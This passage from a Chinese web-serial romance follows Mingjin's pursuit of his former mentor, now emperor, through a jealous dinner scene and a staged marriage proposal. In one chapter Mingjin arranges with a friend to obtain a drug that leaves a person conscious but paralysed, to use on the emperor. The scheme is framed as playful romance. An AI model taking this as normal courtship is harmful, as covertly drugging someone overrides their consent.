他痛哭流涕地爬伏在地上,都顾不上在明瑾面前丢丑,连滚带爬地来到灵堂的棺材旁,捶地哭喊道:“爹!爹啊!为何您如此偏心,我处处不如大哥,可我也是您的儿子,您的亲生骨肉啊!” 明瑾望着他崩溃的背影,却不禁想起了这些年来,晏祁对待自己的点点滴滴,那份谆谆教诲极尽自己所能的托举之心,任谁都要为之动容。 他现在回头再看,先生待他,不是亲父,更胜亲父。 至少比当真有血缘关系却互相算计的魏家父子,要强上百倍千倍不止。 可惜,往往世事无常,一心想要得到父亲认同的儿子碰不上好父亲,努力为继任者铺路的晏祁,却养出了他这样一个逆子。 明瑾垂眸,自嘲地低笑了一声,想到了那人上次分别前同自己说的那番话,曾经和阿囡讲过的那个想法,再一次浮现在了脑海之中。 若是他离开京城一段时间,是不是,先生就会死心了? 他被晏祁短暂的亲昵欺骗,傻乎乎跟着他回到了宁府,迎接他的却是相较从前更加繁重的教导——关于太子礼仪、宫廷常识、上朝时需要注意的东西…… 明瑾本就不耐烦这些繁文缛节。 曾经他愿意学,是因为可以用宁王府世子的身份派人出入官府,方便打探爹娘的消息,现在爹娘和明家都没事了,他做什么要为难自己? 等学完了这些,当上太子,将来在朝廷上一口一个“儿臣参见父皇”、“给父皇请安”,与先生在群臣面前表现一番父子情深吗? 明瑾越想越觉得讽刺,也愈发觉得自己当初的计划可以提上日程了。 回过神来,发现魏金宝还在嚎哭,他被吵得耳膜嗡嗡直响,不耐烦地挥了挥手:“行了,把人带走审问吧,剩下的那些魏家人就不必管了,叫他们早日把魏相入土安葬便是。” “是!” 在魏金宝颠三倒四的咒骂声中,明瑾带着文叔离开了相府。 “少爷如今已经长大了,为何不选择坐王府的马车,非要一直坐老夫牵着的这头骡子?” “骑骡子多好,透气又悠闲。” 明瑾坐在那摇摇晃晃的骡子背上,轻车熟路地把手伸进背囊掏零嘴儿,却摸了个空。 他愣怔片刻,才想起来,这些零嘴都是爹娘和晴儿平时塞进去的,他们不在,自然也没人给他放这些了。 正当他隐隐有些失落地收回手时,文叔却乐呵呵地从怀里给他掏了一个包裹出来,明瑾接过来,打开一看,眼睛霎时亮了。 “居然是果丹皮!” 文叔乐呵呵道:“我记得少爷小时候最爱吃这个了,正好今日早晨见街边有人卖,便买了一张。” “啊,我还记得有一次我吃这个,不小心把牙给拽掉了,”明瑾盯着手中的果丹皮一脸怀念,“那天也是我第一次见到先生出了个大丑呢。” 他咬上果丹皮的一角,山楂的酸涩混着甜滋滋的糖味儿,在舌尖爆炸开来,如今的明瑾牙齿已经足够坚硬,但他却只是将这牛皮似的果丹皮抿化了些,再一点点咬下来,吃得十分文雅。 “不知不觉,我也快及冠了啊。” 明瑾抬头望向头顶的蓝天白云,和远处随风而起的纸鸢,忽然问道:“文叔,到了你这个年纪,是不是经常会回忆往事?” 文叔看了他一眼,脑海中闪过那个曾经打马游街、意气风发的青年,不禁目光出神地笑了笑。 “还好吧。”他说。 “少爷是怀念起孩童时的自己了?”他笑道,“就算您及冠,在我们这些昭明军老人的眼里,也还是个孩子呢。” 明瑾没有作声,只是在心里默默嘀咕:那会不会自己在先生心里,还依旧是那个豁着牙到处惹事的小屁孩? 不能吧。 “你说,我现在要是进宫去找他,会怎么样?” “少爷要是去的话,陛下定是会见您的。” “那还是算了,”明瑾口是心非地说,“他又要说些我不爱听的话,我可不想见他。” 文叔摇了摇头:“少爷,到了我们这个年纪,回头再看之前的人生,几十年便如眨眼一瞬间,什么爱恨纠葛、贪嗔痴怨,最后统统都只剩下了怅恨遗憾,您还年轻呢。” 明瑾惊疑地与他对视,文叔笑了一下,那张被岁月雕刻的苍老面容上,露出一抹近乎少年的俏皮笑容来。 “您别看我这么老了,我年轻时,也是好人妻的狂妄小子。”文叔露出了回味的表情,“想当初,我还半夜去翻那寡妇家的墙头,结果差点被她儿子抓住打个半死……咳咳,不说这么多了。” 注意到明瑾逐渐诡异的眼神,文叔老脸一红,忙严肃地咳嗽了两声,把话题扯回正经道上。 他说:“少爷,老夫托大说一句,我也是从小看着您长大的,这世间之事,凡有之事必将再有,您自以为的离经叛道,早就不知有多少前人干过了。” 明瑾沉默下来。 内心被他压抑多时的叛逆念头,终于冲破牢笼,占据了上风。 “多谢你,文叔,我明白你的意思了。” 他思虑过后,眼神坚定地说道:“不过旁的事情,还是等我爹娘回来再说吧,先生那边,虽说他下令一切从简,但毕竟刚继位不久,肯定是事务缠身,我就不给他增添麻烦了。” 自己再给晏祁最后一次机会,明瑾心想。 亲也亲了,抱也抱了,甚至都……都把他弄成那样了,要是那老东西还装出一副正人君子的模样,天天把当他爹挂在嘴边的话—— 他恶狠狠地撕扯下一块果丹皮,心想,那就别怪他不客气了! —— 作者有话说:小明同学:家人们,我觉得自己可以攻了先生,支持我的请扣1[求你了][求求你了] 争取两章内写到文案[狗头叼玫瑰] 第68章 嫌他老,所以找了个年轻…… “那个, 张牧,问你个事啊。” “有屁快放。” “……说话能不能放尊重点儿?我现在可是尊贵的宁王世子!” “好吧,尊贵的宁王世子殿下, 请您有屁快放, 别耽误我吃饭。” 明瑾忍无可忍地一脚踹过去。 张牧灵活地从座位上弹起来, 躲过这飞来一脚后,又抱着明瑾请客的烤羊腿美滋滋地坐了回去。 “世子殿下不行啊, ”他摇头晃脑道, “这身手,还得练。” 瞧他那贱兮兮的模样,明瑾看得拳头都硬了。 但毕竟是自己有求于人,没办法,只得先忍下这口气。 “就是, 想问问你, 你现在不是在羽林军里也混了个小头领的位置嘛, 手下兄弟一多, 消息来源想必也不少,”明瑾吞吞吐吐道, “我有一个朋友……想知道,有没有那种,不伤身体,又能让人, 呃,乖乖听话的药。” 张牧啃羊腿的动作一顿, 抬起满是油光的脸,直勾勾地看着他。 “你要蒙汗药?” “不不不,”明瑾矢口否认, “不是我要,是我一个朋友。” 张牧眯起了眼睛,怀疑地打量着他。 明瑾后背渗出了冷汗,他佯装镇定地咳嗽一声:“蒙汗药不行,最好是能让人保持意识清醒,但又身体瘫软动弹不了的那种,有吗?” “我想想,”张牧沉吟片刻,“好像还真的有。” 明瑾大喜:“真的?你能搞到吗?” “可以是可以,”张牧干脆利落地放下手中的烤羊腿,斯文地拿起帕子擦了擦嘴,“但你得先告诉我,你哪个朋友要这玩意儿,又要用在哪个倒霉蛋身上。” “这个,人你大概不认识……” “世子殿下还有我不认识的朋友?”张牧佯装惊讶,表情十分之浮夸,“该不会这个‘朋友’就是你自己吧?我想想,你要是下药的话,那对象应该就是宁王,不对,是当今圣上了。” 他倒吸一口凉气,当即一拍桌案:“这活儿可是要掉脑袋的啊——我干了!” 明瑾:“…………” 眼看着老底都被人掀了,他干脆也不装了,自暴自弃道:“你确定要干?要是被发现……” “天塌了还有你顶着,我怕什么?” 明瑾心虚道:“要是事发之后,我不在京城呢?” 张牧瞪大了眼睛,和他对视了许久,忽然站起身,绕过桌子走过来,郑重其事地拍了拍他的肩膀。 “干、干什么?” 见他突然正经起来,明瑾还有些不太习惯呢。 “表达我对你的敬佩,”张牧说,“有胆给皇帝下药之后还跑路,兄弟我敬你是这个。” 还好他们这是在酒楼的包厢里,边上没有旁人,不然明瑾深切怀疑,这话要是被人听到,他第二天就得被锦衣卫捆成粽子送到皇宫。 要是送到龙床上那倒正合他意,但明瑾觉得更大可能是晏祁会找五个老丁头那样的古板夫子,每天在他耳边念叨祖宗礼法。 ……简直是噩梦。 他打了个寒颤,恳切地握住了张牧的双手:“兄弟,如今只有你可以帮我了!” 见他表现得如此殷勤,张牧却猛地收回了手,警惕看着他:“不行,你得先告诉我到底是什么刺激了你产生这样的想法,不然这么做行同于行刺陛下,我可不想就这么搭上我张家的九族。” “谁刚才说掉脑袋也干的?” 明瑾嘟嘟囔囔了半天,在张牧的催促下,这才不情不愿地说出了真相:“这不是我爹娘都回来了嘛,我爹还说等过几天我十八岁生辰的时候,要提前给我举办冠礼,最好让先生亲自为我加冠,顺便封我为太子。” 张牧幸灾乐祸道:“这可是大好事啊,以后您就不是尊贵的宁王世子殿下了,变成更尊贵的大雍太子殿下,继承帝王之位,多少人做梦都求不来的好事,就这么变成天降馅饼,‘啪’,落你头上了。” 他边说还边比划了个被馅饼砸中脑袋的手势,气得明瑾朝他翻了个大白眼。 “少来,这么多年,你又不是不知道我对先生的心意。” 明瑾握拳道:“我现在就是不知道他的想法,要是这太子只是个名头也就罢了,怕就怕,他是真想当我爹!” 张牧哈哈大笑起来:“这还用问吗?陛下都给你当了几年爹了,你才发现啊?” “不要笑!”明瑾恼羞成怒,“我是真的很苦恼啊!” “好了好了,不笑你,”张牧擦了擦眼角的湿润,拼命才把嘴角的弧度压下来,“说正经的,你不想当太子这个我知道,但你怎么突然想要离开京城了?” 明瑾便把自己之前对阿囡说过的那番话告诉了张牧,但除此之外,他还有一个想法: 他想去昭明军曾经的驻扎地看一看。 这个念头在明瑾脑海里盘桓许久了,但他之前没有告诉过任何人。跟爹娘说,明瑾怕他们多想;跟先生说……明瑾又担心他会想起过去那些往事,触景生情。 张牧也知道他爹娘的事情,很能理解明瑾的心情。 他摸了摸下巴道:“倒也不是不行。只是你最好把陈叔山也带上,不然万一你路上出什么事,陛下他是真能发疯。” 虽然与晏祁仅有几面之缘,但张牧对这个男人的印象极为深刻。 尤其是那双犹如兽瞳般冰冷漠然的金眸,唯有在看向明瑾时,瞳孔深处才会浮起一丝温情的波动。 张牧一直很相信自己的直觉,像晏祁这种人,若是日常生活中碰到,他绝对避之不及。 奈何他最好的兄弟偏偏喜欢上了这样一个煞星,论起身份,这位更是吓死人,张牧多年旁观吃瓜,虽然给他的生活增添了不少趣味,但也不禁为兄弟坎坷的情路捏了把汗。 “不过,你给陛下下这样的药,先不说成功几率有多少,就算成功,惹怒他的后果你可有想过?” 明瑾叹气道:“想过。但我觉得先生他就是需要一些强刺激,才能打破他给自己设下的层层桎梏。我一开始的想法跟你一样,也是温水煮青蛙,后来发现,根本没用。” 他咬牙切齿道:“那老家伙实在太能忍了!要是不下猛药,我都怀疑,他能自个儿把自个儿憋死!” 张牧的脸色瞬间变得古怪起来。 这话是他能听的吗? “好吧,既然你想好了,那我就不阻拦你了。”张牧说,“只是有一件事,药我可以帮你找来,但你可不能把我供出来,否则别说陛下那边了,我爹都能拿铜头皮带把我抽成陀螺。” “放心,我用人格担保。”明瑾信誓旦旦道。 两人边吃边商量完了一些见不得光的勾当,叫来小二打包了剩下的羊腿,光明正大地勾肩搭背离开了酒楼。 而这一幕,被一直潜伏在酒楼之外的锦衣卫暗探尽收眼底。 “又是这个张牧。” 宫中收到线报的晏祁脸色沉肃,他盯着那寥寥数行字句,觉得这个年轻人简直是碍眼极了——从前明瑾少时跟他是同窗的时候,两人打打闹闹也就算了,可现在他们都多大了? 这姓张的小子,好像还比明瑾大两岁吧? 这么大还没娶妻,要么是有难言之隐,要么就是对身边人暗中觊觎。 “把张淼叫来,”晏祁冷哼一声,“朕要好好跟他谈谈自家小辈的教育问题!” “是。” 张淼惶恐地进了宫,又一脸迷茫地出了宫。 好好的,陛下怎么想起来要给他家儿子赐婚了? 他琢磨半天,还是觉得八成和明瑾有关。 毕竟自家儿子是什么德性,他这个老子再清楚不过,陛下日理万机,不可能无缘无故关注起这个,思来想去,只可能是因为明瑾了。 于是他掀起车帘,叫马车拐了个弯,驶向了明家。 再次见到明敖,张淼都被他吓了一跳:“你怎么瘦成这样了?!” “哎呀,北镇抚司的饭食不好,我已经向陛下提了建议,叫他们改进了。” 瘦了一大圈、走路都开始衣带当风起来的明敖抚着胡须,笑呵呵地回答。 他的脸色虽然还有些憔悴,但经过几天的修养,已比刚回来时好看了不少,最重要的是,人逢喜事精神爽,自从知道晏祁登基为帝后,明敖现在的精神头,那可是比打了鸡血还足。 张淼无言地拍了拍他的后背,摸到了凸起的脊骨,心中再次叹息一声。 虽说是大难不死,有惊无险,但明敖在狱中肯定也没少受罪,张淼眼尖,早就看见他长袖下遮掩的疤痕了。 “令夫人呢?” 提起文轻尘,明敖神情微变,张淼还以为她是出了什么事,眉头都已经提前皱了起来,谁知明敖却突然哈哈笑起来,很不好意思地挠了挠头:“这个,夫人正在房里修养,她刚给我生了个六斤二两的大胖小子,见不得风,见谅见谅啊。” 张淼眼都瞪圆了:“要是老夫没记错的话,之前令夫人是被判了流放吧?” “对啊。” “那是在流放途中生的孩子?!” “哦,其实是在离京一百多里的地方,也不算太远。”明敖笑得牙不见眼,但原先胖的时候还挺显富贵和气,如今一瘦下来,就只剩下叫人恨得牙痒痒的奸诈了,“没办法,我家有个好儿子啊。” 他得意洋洋道:“瑾儿聪慧,提前打点了一帮乞儿和闲汉,一路上给夫人他们保驾护航不说,还打点了押送官兵,叫夫人每到一处都能住上客栈用上热水。” “后面他们见京城局势不对,就干脆停下来不走了。喏,这不就正好等到新皇登基大赦天下了嘛?犬子就是在那天生的,夫人给他取名明庆,乃是普天同庆之意。” 张淼瞧他这副红光满面的模样,僵硬的面孔微微放松了些。 “看来你的状态还不错,”他说,“都说傻人有傻福,你这呆子果然命大,进了那个地方还没死,够你吹一辈子了。” 张淼说完,话锋一转,犀利道:“不过,你可知今日陛下传召我进宫之事?” “什么?” 明敖听张淼讲完原委之后,露出了一副近似于牙疼的表情。 “看来老夫那番话,算是白讲了。”他喃喃道,“本来还想着,陛下重情义,或许能管用呢。” 张淼没听明白,盯着明敖道:“所以你确实知道陛下为何要给我家那小子赐婚?” “估计是嫌他碍眼了。”明敖诚恳道。 “狗屁!”张淼骂道,“他又不是陛下跟前的近侍,碍谁的眼?怕不是你家那小子在陛下面前上了什么眼药吧!” “嘿,姓张的你这话说得可就不地道了啊,什么叫瑾儿在陛下面前上眼药?我明家家风想来光明正大,从来不敢这种龌龊勾当!” 闺阁窗边,听到院中两人的吵吵闹闹,晴儿边为文轻尘捶腿边笑道:“老爷都这么大岁数了,怎么还跟少爷一个模子刻出来的一样,就连和友人争执时说的话,都大差不差。” “倒反天罡,该是瑾儿被他带坏了才对。” 文轻尘靠在摇椅上,脸色微微苍白,但她偏头望向不远处襁褓里的孩子,目光却是柔和而慈爱的。 “这些天,苦了那孩子了。” 明瑾接她回家的那天,跪在明家的大门前给她结结实实地磕了三个头,无论文轻尘怎么劝说,他都坚持要把这三个头磕完才愿起身。 虽然事后他什么都没说,但文轻尘知道,这孩子一定是愧疚极了,才会做出这样的举动。 可文轻尘从未怨过他,甚至在外面的这些天,比起担心自己和肚子里的这个孩子能否平安降生,她更关心明瑾一个人在京城,有没有被人欺负了去,有没有好好照顾自己。 万幸,一切都没有发展到不可挽回的境地。 “哇……哇……” 突如其来的哭声打断了文轻尘的思绪,晴儿慌忙起身抱来襁褓,让文轻尘给他喂奶。 果然,吃饱喝足的婴孩立刻展露出了笑颜,他伸出小手,哇哇叫着要来摸文轻尘的脸,被塞在襁褓里的平安锁晃动着发出叮当声响,引得他高兴得咯咯直笑。 文轻尘抓住他小小的手指,对晴儿笑道:“他可比瑾儿小时候乖多了,吃饱了就睡,也不夜哭。” 晴儿笑道:“那还用给二少爷留辫吗?” “我觉得不必,但瑾儿说要留,”文轻尘无奈道,“他说要给自己保留揪弟弟小辫的权利。” “哈哈哈,少爷果然还是那个少爷!” “是啊,瑾儿一直都是瑾儿。”文轻尘垂眸掩好襁褓的被角,低声叹道,“只是他如今长大了,能待在家里的时间越来越少,将来陪在我身边的日子,也不知道还有多少了。” 宝剑锋从磨砺出,经过这一番劫难,无论是她还是明敖、亦或是宫里那位,都认可了明瑾具备成为人君的能力和心性潜质。 尤其是在重压环境之中,这孩子的成长速度相当令人惊讶。 只是他和那位的关系,始终是压在文轻尘心上的一块石头。 她甚至比明敖还要早一些察觉到,只是文轻尘总觉得,还不到时候,或许应该找一个合适的时机再与瑾儿聊聊这件事。 可惜她没等来这个时机,明家却先遭了难。 现在明家重建,瑾儿忙里忙外,有时一个白天忙得都捞不到喝上一口茶水,也就这两天才清闲一些,懂事能干得让文轻尘更加不忍在这个时候掐灭他的希望。 她知道,儿子一定对陛下是极其喜爱的,并且这种喜爱之情已经持续了许多年,或许比她想象中的还要更早一些。 若是她强硬开口,明瑾就算再不愿,也是会放弃这段感情的。 但放弃之后呢? 若用威逼利诱的方式,换来一个一辈子郁郁寡欢的规矩儿子,那文轻尘宁可他离经叛道,去找寻他自己的幸福。 “娘,我回来啦!” 不知不觉,窗外已是红霞满天。 文轻尘听着阁楼阶梯下传来的呼唤声,眼眸柔和下来,嘴上却骂道:“好不容易得空两天,怎么还天天往外跑?我看你就是个闲不下来的性子!” “哎呀,娘你又不是不知道我。” 明瑾噔噔噔跑上楼,和文轻尘打了声招呼,就扑过去开始逗弟弟,吓得晴儿忙嚷嚷着少爷动静小点儿,别把二少爷吓哭了。 “我小时候也这样吗?”明瑾好奇地戳了戳弟弟胖嘟嘟的脸颊,看着皱巴着脸哇哇大哭的孩子问道。 “少爷!” 明瑾举起双手:“好好好,我不逗他了行吧。” 他嫌弃道:“弟弟真不经逗,还是阿囡好,听话懂事。” “小兔崽子,我看你是皮痒了,”文轻尘笑骂道,“赶紧去吃饭吧,今天张大人来家里做客,你爹没跟你说吗?” “没啊,”明瑾说,“张伯父来了啊?啧,早说啊,我就把张牧也叫来家里一起吃饭了。” “现在也不迟。” 明瑾恍然,立马安排车夫去张牧家接人。 “下午才刚见过,晚上又约在府上共进晚膳?” 晏祁听完汇报,怒极反笑:“看来我是白找了一趟张淼啊,好,好,张淼真是养了个好儿子!” 也是他傻了,这张淼自己可就是个荤素不忌的主儿,先前因为对晏珀主导下的朝廷失望,自暴自弃流连花丛,虽说情有可原,但也不是什么正人君子做派。 家中有如此长辈,上梁不正下梁歪,还指望他能教出来什么好儿子吗? “你下去吧。”他吩咐道。 暗卫离开后,晏祁压抑着怒气,独自坐在御书房内批了一会儿奏折。 但夜幕深沉,纵使室内灯火通明,也难掩他形单影只的孤寂——晏祁选择性忽略了门外的侍卫和屋内待命的侍女,满脑子都是明府内明瑾和张牧两人月下共饮,和乐融融的场面。 那日他罚明瑾,虽然后来少年在他怀里哭得厉害,哽咽得连句囫囵话都讲不出来,晏祁的确心生怜惜不错。 但刚开始时,这孩子牙尖嘴利,可没少拿浑话骂他。 什么老东西不要脸臭流氓,□□那么多年没用是不是早就不行了云云,听得晏祁光是想想就青筋跳动,火气上涌。 但现在想来,晏祁却莫名品出了他这番话背后更深的含义—— 嫌他老,所以找了个年轻的对吧? 觉得他无趣没劲儿,只会拒绝回避,所以找了个男女不忌玩得开的是吧! 越想越恼怒,越想越难以忍受,晏祁甚至都已经幻想到将来的某一天,明瑾或许会领着那姓张的小混蛋来到他面前,一脸不好意思地开口道,他们竹马同窗,相识多年,希望父皇他成全他们两人。 他看了看外面夜空中的满天繁星,最终下定决心,要亲自去一趟明府。 他说过,希望明瑾能娶妻生子,儿孙满堂,直到现在晏祁都还是这么想的。 但张牧?他有什么? 纵使竹马同窗又如何?他甚至不能给明瑾生个一儿半女! 只是虚小了他几岁,论起其他方方面面,还不如他这个老东西呢! “来人,准备车马!” 晏祁沉着脸迈出书房大门:“朕要微服私访!”—— 作者有话说:有人破防了[狗头]是谁我不说 第69章 和皇帝当情敌 晏祁是在晚宴进行过半时来到明府的。 他的到来把府中上上下下所有人都吓了一大跳, 虽然这位从前也经常光顾,但那时候他是隐姓埋名过来教导明瑾,此一时彼一时, 如今的晏祁, 身份地位早就今非昔比了。 明敖火烧屁股似的从座位上弹起来, 忙不迭地将晏祁迎上座。 再扭头一看,所有人都站着, 就明瑾那个臭小子埋头只顾着扒饭, 也不知道该骂他什么——没规矩?还是说恃宠而骄? 他一口气哽在嗓子眼里,最后见晏祁都没说什么,还让他们坐下继续吃,只得吹胡子瞪眼地瞪了明瑾一眼,跟着众人一起坐回了位置上。 “喂, 你怎么回事?”张牧压低声音问明瑾, “这么多人看着呢, 虽然也没有外人, 但就这么不给陛下面子,不太好吧?” 明瑾现在正烦着呢, 懒得搭理他。 晏祁那边的视线如有实质,他烦躁心想,也不知道这人突然从宫里跑过来究竟为了什么。难不成,是打算跟他爹娘联合起来搞个三庭会审? “他为什么一直在盯着这边?”张牧毛骨悚然, 就连面前的饭菜都不香了,他肘了肘明瑾, “喂,尊贵的宁王世子殿下,赶紧想想办法啊, 我一个爹都应付不来了,你倒好,还有两个。” “严格来算,是三个。”明瑾面无表情道。 虽然他的亲爹英年早逝,但亲爹也是爹啊。 明瑾在心里敲了两下木鱼,心想爹我可是你亲儿子,您在天有灵,一定不会责怪儿子冒犯的对不对? 张牧被他噎了一下,但还在嘟嘟囔囔,说些什么听得明瑾烦不胜烦,干脆从面前的碟子里给他夹了一块大骨头,恶狠狠地塞进这烦人家伙的嘴里,表面却一派微笑的正常神情,丝毫看不出他在桌子底下还用力踩了一脚对方。 “吃饭都堵不住你的嘴!”他从牙缝里挤出一句话。 话音落下,张牧瞬间安静了。 明瑾一开始还奇怪,这家伙什么时候这么老实了,按理说不该立马回敬他一脚才对吗? 但他瞅了眼张牧,发现这家伙脸都绿了,拼命躲闪着他的视线,还主动把身子往远离他的方向挪了挪,一副恨不得离他八丈远的架势。 干嘛,有病? 他用口型问张牧,这小子却压根儿不搭理他,脑袋垂得比他之前还要低,就差没把脸埋进饭碗里了。 明瑾这才后知后觉地发现,似乎饭桌上也有一会儿没人出声了,就连一直忙着活跃气氛的明敖,此时脸上的笑容都有点撑不住了。 他抬头望去,直直地撞上了一双烛光下煌煌生金的眼眸。 察觉到晏祁脸上的神情不对,明瑾心里瞬间咯噔一声,暗道坏事了。 以他对晏祁的了解,这是山雨欲来的前奏啊。 而且别以为他不知道,这人虽然对外表现得大度从容,实则在私下里斤斤计较又特别记仇,心眼小得要死! 可他怎么惹他生气了?难道就是因为自己给张牧夹了一根骨头? 明瑾眯起眼睛,本着严谨的考据精神,他又试探着夹了一块莲藕,放到了张牧的碗里。 “…………” 张牧斜过眼,不可置信地看向他,一脸的“兄弟你别搞我啊”。 而另一边的某人,周身气压霎时又低了不少。 很好,破案了。 明瑾只觉得又好笑又好气——这老东西表面一套心里一套,嘴上说着要他回头是岸娶妻生子,人后在他面前演出一副坐怀不乱柳下惠的模样,等到了人前,他真和旁人有了些许亲密举动,又开始自个儿难受憋屈上了。 该! 想到这些年来,自己为了啃下这根硬骨头付出的种种艰辛努力,明瑾一时只觉得身心舒畅,精神气大涨。 “哎呀,刚才都没发现,今天还有鲥鱼呢,”一片寂静之中,明瑾忽然出声,似是不经意地感叹道,“这可是长江三鲜之一,前朝的宫廷御膳,着实难得一见啊。” 张牧见明瑾边说边夹了一筷子到自己碗里,高高提起的一颗心不禁放下了。 看来兄弟对自己还是有几分良心的,他心想,没有把他往死里坑。 和皇帝当情敌,这得是有多大的勇气啊? 他心有余悸地瞥了一眼脸色黑沉的晏祁,又注意到自家老爹凌厉的眼神,不敢再随意多看,兀自低头扒饭。 然后就看到了,一块滑嫩的、被处理好的鱼肉出现在了自己的碗里。 张牧:“…………” 他僵硬地一点点抬头,看到他的好兄弟明瑾朝他露出了自打他俩认识以来,最为温柔和善的一抹笑容:“来,尝尝吧,我替你把刺都剃掉了。” “愣着看我作甚?吃啊。” 他早该知道,这混账根本就没有良心这种东西! 张牧简直要被明瑾逼疯了,刚想说话,突然只听“啪”的一声,晏祁重重地放下筷子,硬生生把他到嘴边的话给震了回去。 明敖结巴道:“陛,陛下,可是饭菜有哪里不合胃口?” 晏祁压根儿顾不上搭理他,他起身径直朝明瑾大步走过来,站在他面前,一言不发,定定地盯着他。 明瑾见状,干脆也把筷子一丢,靠在椅背上抱臂与他对视,一脸“你能奈我何”的挑衅神情。 现场的气氛仿佛凝固。 许久之后,晏祁终于动了。 男人不带任何情绪的冰冷视线掠过张牧,把他吓得身子抖了抖,正要大义凛然地起身与明瑾割袍断义以证清白,晏祁已经收回了视线,甩袖离开了明府。 “……他走了?”“他竟然就这么走了!?” 张牧大大松了口气的声音和明瑾不可置信的叫喊一并响起。 明敖听得太阳穴突突直跳,方才的全过程他都看在眼里,这还是明敖第一次如此直观地看到陛下和明瑾之间的暗流涌动。 和他想象中的很不一样。 似乎,主动的那一方是他儿子啊? 明敖一直都觉得,肯定是晏祁先对明瑾有情,在他的暗中引导下,明瑾那个天性大大咧咧的孩子才会对教导自己的长辈生出别样的情愫,这也是明敖一直以来对晏祁颇有微词的原因。 在他看来,这与教人误入歧途又有何异? 为人师表,当束身自重! 直到今天,明敖才恍然醒悟——原来不是老牛吃嫩草,是小牛啃老草啊。 不过瑾儿都这么主动了,晏祁居然还推三阻四,冷眼相待,是什么意思?他儿子要模样有模样,要才华有才华,难不成,那老草还看不上他家鲜嫩的小牛犊? 明敖想到这里,脸色瞬间就不好看了。 “儿子,你跟爹过来一趟。” 这顿饭肯定是吃不下去了,他把明瑾单独叫到房间里,郑重其事地问道:“你把你跟那老草,咳,我是说陛下关系的进展,仔细跟爹说说,你还年轻,叫爹来帮你参谋参谋,究竟是怎么个事。” 明瑾怀疑地睨着他:“爹,你真不是打算套我话?” “少来!你爹我是这种人吗?”明敖怒道,“我这是怕你被他欺负了去!” “好吧。” 于是明瑾挑挑拣拣,把他们认识的经过,和让关系真正有进展的几次事件挑挑拣拣说了一遍。 期间略过了他小时候干的若干蠢事,和晏祁几番对他的剖白劝说,重点全放在了男人是如何拒绝他、最终答应了又不认账的过错上。 “也不知道那天那皇帝老儿到底对他说了什么,还是说遇见了什么别的奇奇怪怪的人,”明瑾红着眼睛控诉道,“爹,你说他是不是很过分?” 明·奇奇怪怪的人·敖:“……啊,哈哈,是啊,确实特别过分。” 他心虚地挠了挠头,很快又正色道:“儿啊,你说的爹都听完了,以爹之见,他真算不上是个良配,先不说他对你如何,就先说他如今的身份,你俩若在一起,那可真是冒天下之大不韪啊。” 明瑾低着头,脚尖碾着地面的小砂子不吭声。 “但既然你偏偏看上他,还一喜欢就是这么多年,爹也不好再说什么了。”明敖长吁短叹道,颇有种看到自家白菜主动拱猪的痛心疾首。 明瑾猛地抬头:“爹你同意了!?” “没有。” “切,那你还说这么多干什么。” “臭小子,我话还没说完呢,你急什么?”明敖瞪着他,“再怎么大逆不道,你也是我明敖的儿子!怎么可以上赶着被人拒绝?” 明瑾用力点头:“就是,爹你说得太对了。所以您可是有了什么高招准备传授儿子?” 明敖露出一抹奸诈笑容来:“高招算不上,妙招嘛,倒还真有一个。” 他朝明瑾招了招手,少年立马凑过来,听他附耳说了两句,嗯嗯啊啊地点着头,一双眼睛也越来越亮。 听完这个主意之后,明瑾朝老爹抱拳,由衷道: “高啊,爹!” 明敖谦虚道:“哪里哪里,儿子你也不差,一般人可没勇气找晏祁那种类型当相好。” 父子俩交换了一个眼神,不约而同地扬起了唇角,露出一抹奸诈的笑容。 几日后。 明府少爷即将定亲的消息,如飓风过境一般,很快便传遍了整个京城。 但除明府众人外,首当其冲得知此事的,依旧是深宫之中,时刻关注着明府动向的晏祁—— 作者有话说:还以为两章内能写到文案情节的,看来还是不行,明天最后一天放假一定更新大肥章! 第70章 【二合一】 总比父子这种关系更适合我…… 自打晏祁登基后, 便将皇宫中大部分宫女遣散回民间,晏珀的那些个嫔妃他也一个没留,全部送到了一处行宫别院里。 虽然晏珀可恨, 但对于这些妃子, 他并没有薄待, 依旧按照大雍给不同品级嫔妃规定的待遇发放年俸。 这些女人只要别给他惹事,无论是私会情郎也好, 另行续弦也罢, 晏祁乐得睁一只眼闭一只眼。 只是如此一来,后宫不免就空旷寂寥许多。 也就是晏祁如今刚登基不久,国中大小事务交接繁忙,这才没有大臣上奏希望他选秀,不然光是头疼这档子事, 晏祁就要费不少心神。 但他没想到, 先打算娶妻的, 居然是明瑾。 “陛下跟那孩子, 之前不都说开了吗,怎么又出问题了?” 御花园内, 木云望着背对着自己站在亭中的男人,皱着眉头问道。 晏祁随手抓了一把鱼食丢下去,倒也没觉得她这副与从前无二的口吻有何不妥。 毕竟相处多年,他再清楚不过, 自打宁昭公主战死,木云的一颗心也早已随着公主而去, 世间一切功名利禄、威严权势与她来说,不过过眼云烟罢了,即使刀剑加身, 她也不会多眨一下眼睛。 若是明瑾成家,他便真成了这禁宫之中的孤家寡人,都说长姐似母,至少木云还能留在这宫中,陪他说上两体己句话。 见他低头不言,木云干脆走到晏祁边上,夺过他手中的鱼食匣子,抬手一扬,顿时引起下方鱼群一阵欢欣鼓舞的争抢。 “我去宫外打探了一番,民间以讹传讹,传言多有不实,”木云盯着晏祁的双眼说道,“并非定亲,只是明家携礼上门,有意议亲罢了。” 议亲的对象,则是京中一位远近闻名的才女,谢婉南。 论身份,她还是明瑾的小学妹呢。 虽然云英书院不收女子,但这位奇女子竟瞒着爹娘,冒名顶替族兄的身份,女扮男装在书院上了大半年的课。 被发现后她也丝毫不惧,甚至与书院的先生当面对峙辩论,态度不卑不亢,言辞有理有据,叫龚万这个院长都对她敬佩三分。 尽管男女大防他一介院长也难以改变,但他还是破格允许这位姑娘随时来书院听讲上课,相当于变相收下了这位女学生。 然而,她的父母在听闻此事匆匆赶来后,当场勃然大怒,即刻便将她带回家中关了紧闭,不许她出家门半步,事后还着急忙慌地想要给她找个人家嫁了。 对于这位姑娘一心向学的勇气,京中不少人都表达了敬佩,但若是作为妻子,未免就有些太过胆大包天了。 一年多过去,京中门当户对的人家竟无一人愿意同她定亲,急得她父母在家着急上火,对她这一冒失冲动之举也多有埋怨。 都说好事不出门,坏事行千里,明瑾就是宁王世子的事情,暂时还没有多少人知晓,但明家先前遭难的事情,那倒是人尽皆知。 这新帝登基刚大赦完天下,明家就想着给自家少爷上门提亲,很多在旁观望的人都觉得,这是想要迎亲冲喜啊。 谢家虽算不上富裕,但也是书香门第出身,谢婉南的父母连原本的明家都有些瞧不上眼,觉得商户一身铜臭俗不可耐,更别提是现在的明家了。 可除了明家那小子,这一时半会儿的,似乎也没旁人敢娶自家女儿了。 